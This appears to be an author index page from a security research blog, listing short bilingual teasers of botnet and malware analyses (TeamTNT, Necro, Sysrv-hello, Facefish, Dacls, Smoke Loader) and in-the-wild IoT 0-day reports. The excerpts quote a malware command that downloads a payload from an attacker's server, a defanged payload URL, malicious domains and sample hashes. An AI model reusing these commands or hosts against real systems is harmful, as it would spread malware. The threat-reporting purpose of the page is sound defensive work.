



jinye



Import 2022-11-30 11:16

## 威胁快讯：TeamTNT新变种通过ELF打包bash脚本，正通过Hadoop ResourceManager RCE传播

TeamTNT是一个比较活跃的挖矿家族，曾被腾讯和PAN等国内外安全厂商多次分析[1][2]，我们的BotMon系统也曾多次捕获。以往经验显示，TeamTNT家族喜欢使用新技术，比如名为EzuriCrypter的加密壳就是首次在TeamTNT样本中被检测到。近期，我们的Anglerfish蜜罐再次捕获到TeamTNT的新变种，使用了如下新技术和工具：1. 通过ELF文件包装入口bash脚本。2. 集成了一个新的Go编写的扫描器。从功能角度看，新变种和5月份曝光的版本相比并没有大的变化，只是在个别功能上做了一些有意思的调整。Exploit本轮传播使用了已知漏洞 Hadoop\_ResourceManager\_apps\_RCE。入口脚本分析跟以往攻击相同，漏洞利用成功后会植入一个名为i.sh的入口脚本，内容如下：能看出这段脚本会从RT\_URL变量中解码出主模块的URL hxxp://oracle.hxtreceive.top/s3f715/i.jpg，然后下载并执行。ELF打包的主模块分析 主模块为一个ELF文件，代码看上去非



· Aug 6, 2021 · 4 min read

nday

## Mirai\_ptea Botnet is Exploiting Undisclosed KGUARD DVR Vulnerability

Overview On 2021-06-22 we detected a sample of a mirai variant that we named mirai\_ptea propagating through a new vulnerability targeting KGUARD DVR. Coincidentally, a day later, on June 23, we received an inquiry from the security community asking if we had seen a new DDoS botnet, cross-referencing some



· Jul 1, 2021 · 11 min read

nday

## Mirai\_ptea Botnet利用KGUARD DVR未公开漏洞报告

2021-06-22我们检测到一个我们命名为mirai\_ptea的mirai变种样本通过未知漏洞传播。经过分析，该漏洞为KGUARD DVR未公开的漏洞。从我们的分析看该漏洞存在于2016年的固件版本中。我们能找到的2017年之后的固件厂家均已经修复该漏洞



· Jul 1, 2021 · 12 min read

Backdoor

## 窃密者Facefish分析报告

背景介绍 2021年2月，我们捕获了一个通过CWP的Nday漏洞传播的未知ELF样本，简单分析后发现这是一个新botnet家族的样本。它针对Linux x64系统，配置灵活，并且使用了一个基于Diffie–Hellman和Blowfish的私有加密协议。但因为通过合作机构（在中国区有较好网络通信观察视野）验证后发现对应的C2通信命中为0，所以未再深入分析。2021年4月26号，Juniper发布了关于此样本的分析报告，我们注意到报告中忽略了一些重要的技术细节，所以决定将漏掉的细节分享出来。该家族的入口ELF样本

MD5=38fb322cc6d09a6ab85784ede56bc5a7是一个Dropper，它会释放出一个Rootkit。因为Juniper并未为样本定义家族名，鉴于Dropper在不同的时间点释放的Rootkit有不同的MD5值，犹如川剧中的变脸，并且该家族使用了Blowfish加密算法，我们将它命名为Facefish。 Facefish概览 Facefish由Dropper和Rootkit 2部分组成，主要功能由Rootkit模块决定。Rootki



· May 28, 2021 · 17 min read

Backdoor

## Analysis report of the Facefish rootkit

Background In Feb 2021, we came across an ELF sample using some CWP's Ndays exploits, we did some analysis, but after checking with a partner who has some nice visibility in network traffic in some China areas, we discovered there is literally 0 hit for the C2 traffic. So



· May 27, 2021 · 13 min read

sysrv

## Threat Alert: New update from Svsrv-hello now infecting

Threat Alert: New update from Sysrv-hello, now injecting

## victims' webpages to push malicious exe to end users

Overview From the end of last year to now, we have seen the uptick of the mining botnet families. While new families have been popping up, some old ones are getting frequently updated. Our BotMon system has recently reported about the [rinfo][z0miner]. And the latest case comes from Sysrv-hello.



· Apr 29, 2021 · 3 min read

sysrv

## 威胁快讯：Sysrv-hello再次升级，通过感染网页文件提高传播能力

版权声明: 本文为Netlab原创, 依据 CC BY-SA 4.0 许可证进行授权, 转载请附上出处链接及本声明。概述 从去年末到现在, 挖矿类型的botnet家族一直活跃, 除了新家族不断出现, 一些老家族也频繁升级, 主要是为了提高传播能力和隐蔽性, 我们的 BotMon 系统对此多有检测[rinfo][z0miner]。最新的案例来自Sysrv-hello, 本来近期已经有2家安全公司先后分析过该家族的新变种[1][2], 但文章刚出来sysrv的作者就在4月20号再次进行升级, 增加了感染网页的能力, 本文对此做一分析。新模块a.py和BrowserUpdate.exe 我们知道sysrv能同时感染Linux和Windows系统, 其入口为一个脚本文件, Linux下为bash脚本, 最常见的文件名是ldr.sh, Windows下为PowerShell脚本ldr.ps1, 这次升级只在ldr.sh中检测到, bash脚本中添加了如下代码: curl \$cc/BrowserUpdate.exe > /tmp/BrowserUpdate.exe curl



· Apr 28, 2021 · 4 min read

Necro

## Necro upgrades again, using Tor + dynamic domain DGA and aiming at both Windows & Linux

Overview Back in January, we blogged about a new botnet Necro and shortly after our report, it stopped spreading. On March 2nd, we noticed a new variant of Necro showing up on our BotMon tracking radar. March 2nd, the BotMon system has detected that Necro has started spreading again, in



· Mar 18, 2021 · 12 min read

Import 2022-11-30 11:16

## Necro再次升级，使用Tor+动态域名DGA 双杀Windows&Linux

版权声明: 本文为Netlab原创, 依据 CC BY-SA 4.0 许可证进行授权, 转载请附上出处链接及本声明。概述 自从我们1月份公开Necro后不久, 它就停止了传播, 但从3月2号开始, BotMon系统检测到Necro再次开始传播。蜜罐数据显示本次传播所用的漏洞除了之前的TerraMaster RCE (CVE\_2020\_35665) 和Zend RCE

(CVE-2021-3007)，又加入了两个较新的漏洞Laravel RCE (CVE-2021-3129)和WebLogic RCE (CVE-2020-14882)，蜜罐相关捕获记录如下图所示。通过样本分析我们发现在沉寂一个月之后新版本的Necro有了较大改动，功能进一步加强，体现在：1. 开始攻击Windows系统，并在Windows平台上使用Rootkit隐藏自身。2. 更新了DGA机制，采用“子域名DGA+动态域名”的方法生成C2域名。3. C2通信支持Tor，同时加入了一种新的基于Tor的DDoS攻击方法。4. 能针对特定Linux目标传播Gafgyt\_tor。5. 能篡改受害



· Mar 16, 2021 · 15 min read

Necro

## Gafgyt\_tor, Necro作者再次升级“武器库”

版权声明: 本文为Netlab原创，依据CC BY-SA 4.0 许可证进行授权，转载请附上出处链接及本声明。概述自2021年2月15号起，360Netlab的BotMon系统持续检测到Gafgyt家族的一个新变种，它使用Tor进行C2通信以隐藏真实C2，并对样本中的敏感字符串做了加密处理。这是我们首次发现使用Tor机制的Gafgyt变种，所以将该变种命名为Gafgyt\_tor。进一步分析发现该家族与我们1月份公开的Necro家族有紧密联系，背后为同一伙人，即所谓的keksec团伙[1] [2]。检索历史样本发现该团伙长期运营Linux IoT botnet，除了Necro和Gafgyt\_tor，他们还曾运营过Tsunami和其它Gafgyt变种botnet。本文将介绍Gafgyt\_tor，并对该团伙近期运营的其它botnet做一梳理。本文关键点如下：1. Gafgyt\_tor使用Tor来隐藏C2通信，可内置100多个Tor代理，并且新样本在持续更新代理列表。2. Gafgyt\_tor跟keksec团伙之前分发的Gafgyt样本同源，核心功能依



· Mar 5, 2021 · 15 min read

Necro

## Gafgyt\_tor and Necro are on the move again

Overview Since February 15, 2021, 360Netlab's BotMon system has continuously detected a new variant of the Gafgyt family, which uses Tor for C2 communication to hide the real C2 and encrypts sensitive strings in the samples. This is the first time we found a Gafgyt variant using the



· Mar 4, 2021 · 12 min read

DGA

## Necro is going to version 3 and using PyInstaller and DGA

Overview. Necro is a classic family of botnet written in Python that was first discovered in 2015, at the beginning, it targeted Windows systems and often tagged by security vendors as Python.IRCBot and called N3Cr0m0rPh (Necromorph) by the author himself. Since January 1, 2021, 360Netlab's BoTMon



· Jan 22, 2021 · 12 min read

DGA

## Necro在频繁升级，新版本开始使用PyInstaller和DGA

**概述** Necro是一个经典的Python编写的botnet家族，最早发现于2015年，早期针对Windows系统，常被报为Python.IRCBot，作者自己则称之为N3Cr0m0rPh(Necromorph)。自2021年1月1号起，360Netlab的BotMon系统持续检测到该家族的新变种，先后有3个版本的样本被检测到，它们均针对Linux系统，并且最新的版本使用了DGA技术来生成C2域名对抗检测。本文将对最近发现的Necro botnets做一分析。本文的关键点如下：

- 1, Necro最新版的感染规模在万级，并且处于上升趋势。
- 2, 在传播方式上，Necro支持多种方式，并且持续集成新公开的1-day漏洞，攻击能力较强。
- 3, 最新版Necro使用了DGA技术生成C2域名，Python脚本也经过重度混淆以对抗静态分析。
- 4, 目前传播的不同版本Necro botnet背后为同一伙人，并且主要针对Linux设备。
- 5, 最新的2个版本为了确保能在没有Python2的受害机器上执行，会同时分发使用PyInstaller打包过的Python程序。

在撰写本文时，我们注意



· Jan 21, 2021 · 16 min read

QNAP

## QNAP NAS在野漏洞攻击事件

**本文作者：**马延龙，叶根深，金晔 **背景介绍** 2020年4月21号开始，360Netlab未知威胁检测系统监测到有攻击者使用QNAP NAS设备漏洞，攻击我们的Anglerfish蜜罐节点。我们看到这个漏洞PoC并没有在互联网上公布，攻击者在漏洞利用过程中相对谨慎，互联网上也仍有一些未修复漏洞的QNAP NAS设备。因此，我们需要披露这个漏洞攻击事件，并提醒安全社区和QNAP NAS用户，避免受到此类漏洞攻击。**漏洞分析** **漏洞类型：**未授权远程命令执行**漏洞原因：**通过360 FirmwareTotal系统分析，我们发现这个漏洞出现在CGI程序/httpd/cgi-bin/authLogout.cgi中。它在处理用户注销登录时，会根据Cookie中字段名称选择相应的注销登录函数。其中QPS\_SID, QMS\_SID和QMMS\_SID注销登录函数未过滤特殊字符即使用snprintf函数拼接curl命令字符串并使用system函数直接执行，所以造成命令注入。**漏洞修复：**在2017年7月21号，我们发现QNAP发布固件版本4.3.3修复了这个漏洞。修复后的固件中使用qn



· Aug 31, 2020 · 5 min read

QNAP

## In the wild QNAP NAS attacks

Author:Yanlong Ma, Genshen Ye, Ye Jin From April 21, 2020, 360Netlab Anglerfish honeypot started to see a new QNAP NAS vulnerability being used to launch attack against QNAP NAS equipment. We noticed that this vulnerability has not been announced on the Internet, and the attacker is cautious in the



• Aug 31, 2020 • 4 min read

Import 2022-11-30 11:16

## New activity of DoubleGuns Group, control hundreds of thousands of bots via public cloud service

Overview Recently, our DNS data based threat monitoring system DNSmon flagged a suspicious domain pro.csocools.com. The system estimates the scale of infection may well above hundreds of thousands of users. By analyzing the related samples and C2s, We traced its family back to the ShuangQiang(double gun) campaign,



• May 23, 2020 • 16 min read

Import 2022-11-30 11:16

## 双枪团伙新动向，借云服务管理数十万僵尸网络

本文作者：jinye, JiaYu, suqitian, 核心安全部研究员THL 概述 近日，我们的域名异常监测系统 DNSMon 捕捉到域名 pro.csocools.com 的异常活动。根据数据覆盖度估算，感染规模超过100k。我们通过告警域名关联到一批样本和 C2，分析样本后发现是与双枪恶意程序相关的团伙开始新的大规模活动。近年来双枪团伙屡次被安全厂商曝光和打击，但每次都能死灰复燃高调复出，可见其下发渠道非常庞大。本次依然是因为受感染主机数量巨大，导致互联网监测数据异常，触发了netlab的预警系统。本报告中我们通过梳理和这些URL相关的C2发现了一些模式，做了一些推测。我们观察到恶意软件除了使用百度贴吧图片来分发配置文件和恶意软件，还使用了阿里云存储来托管配置文件。为了提高灵活性和稳定性，加大阻拦难度，开发者还利用百度统计这种常见的网络服务来管理感染主机的活跃情况。同时我们在样本中多次发现了腾讯微云的URL地址，有意思的是我们在代码中并没有找到引用这些地址的代码。至此，双枪团伙第一次将BAT三大厂商的服务集成到了自己的程序中，可以预见使用开放服务来管理僵尸网络或将成为



• May 23, 2020 • 21 min read

0-day

## Multiple fiber routers are being compromised by botnets using 0-day

Author: Yanlong Ma, Genshen Ye, Lingming Tu, Ye Jin This is our 3rd IoT 0-day series article, in the past 30 days, we have already blogged about 2 groups targeting DrayTek CPE 0-day here [1], and Fbot botnet targeting Lilin DVR 0-day here [2]. Apparently while most botnets play catchup



· Apr 15, 2020 · 5 min read

0-day

## 多款光纤路由器设备在野0-day漏洞简报

本文作者：马延龙，叶根深，涂凌鸣，金晔 大致情况 这是我们过去30天内的第3篇IoT 0-day漏洞文章，之前我们还披露了DrayTek Router在野0-day漏洞分析报告[1]，LILIN DVR在野0-day漏洞分析报告[2]。我们观察到僵尸网络存在相互竞争获取更多的Bot规模的情况，其中有些僵尸网络拥有一些0-day漏洞资源，这使它们看起来与众不同。我们正在研究并观察IoT Botnet使用0-day漏洞传播是否是一个新趋势。2020年2月28日，360Netlab未知威胁检测系统注意到Moobot僵尸网络[3]开始使用一种我们从未见过的新漏洞(多个步骤)，并且可以成功攻击受影响的设备。2020年3月17日，我们确认此漏洞为0-day漏洞，并将结果报告给CNCERT。2020年3月18日，Exploit Database[4]网站发布了Netlink GPON路由器远程命令执行漏洞PoC，这与我们发现的在野0-day漏洞特征一致。但是，该PoC遗漏了关键的一个步骤，因此实际被注入的命令并不能成功执行。2020年3月19日，我们与相关厂商联系，



· Apr 15, 2020 · 5 min read

Dacls

## Dacls, the Dual platform RAT

Background On October 25, 2019, a suspicious ELF file (80c0efb9e129f7f9b05a783df6959812) was flagged by our new threat monitoring system. At first glance, it seems to be just another one of the regular botnets, but we soon realized this is something with potential link to the Lazarus Group. At present, the industry



· Dec 17, 2019 · 12 min read

Dacls

## Lazarus Group使用Dacls RAT攻击Linux平台

背景介绍 2019年10月25号，360Netlab未知威胁检测系统发现一个可疑的ELF文件

(80c0efb9e129f7f9b05a783df6959812)。一开始，我们以为这是在我们发现的Unknown Botnet中比较平凡的一个，并且在那时候VirusTotal上有2款杀毒引擎能够识别。当我们关联分析它的相关样本特征和IoC时，我们

发现这个案例跟Lazarus Group有关，并决定深入分析它。目前，业界也从未公开过关于Lazarus Group针对Linux平台的攻击样本和案例。通过详细的分析，我们确定这是一款功能完善，行为隐蔽并适用于Windows和Linux平台的RAT程序，并且其幕后攻击者疑似Lazarus Group。事实上，这款远程控制软件相关样本早在2019年5月份就已经出现，目前在VirusTotal上显示被26款杀毒软件厂商识别为泛型的恶意软件，但它还是不为人所知，我们也没有找到相关分析报告。所以，我们会详细披露它的一些技术特征，并根据它的文件名和硬编码字符串特征将它命名为Dacls。Dacls 概览 Dacls是一款新型的远程控



· Dec 17, 2019 · 16 min read

Import 2022-11-30 11:16

## Smoke Loader: The Admin Panel, the 3rd Party Patch, and few other things

Smoke Loader is a botnet software that is publicly available since 2011 on the black market. It is old but still active, just in the last six months we have seen more than 1,500 active samples. Although it has been repeatedly exposed by different security researchers in recent years,



· Feb 18, 2019 · 9 min read

Botnet

## Smoke Loader:主体、控制台、插件，以及盗版之殇

Smoke Loader 是一个在黑市上公开销售的僵尸网络软件。其活动时间可以追溯到2011年，虽然近年来已经被多次曝光，但保持持续升级，非常活跃。在我们统计中，仅最近半年活跃的样本就超过 1,500 个。我们在跟踪这一家族的过程中，捕获了一套完整的恶意程序套件，包括其主体Loader、控制台Panel，以及控制台中包含的插件。对这套样本的分析使我们对其运行机制有了更深入的了解，这将是本文的主要内容之一。分析过程中，我们还遇到一组被修改过的特例样本。虽然有人认为这组样本是作者在对抗安全研究人员提取C2主控域名，但仔细分析后，我们认为这是第三方做“盗版”。这部分的分析和研判过程，是本文的主要内容之二。Smoke Loader相关的分析文档已经很多，本文不会涉及已经被公开的部分。相关内容，读者可以参阅文末参考部分。Smoke Loader 套件分析 套件中的文件结构见后图，说明如下： \* 本体，Loader\_new\_Cyberbunker.exe \* Web控制台，Panel，使用未加密的PHP语言编写 \* 插件，包括 Panel/mods 和



· Feb 3, 2019 · 13 min read

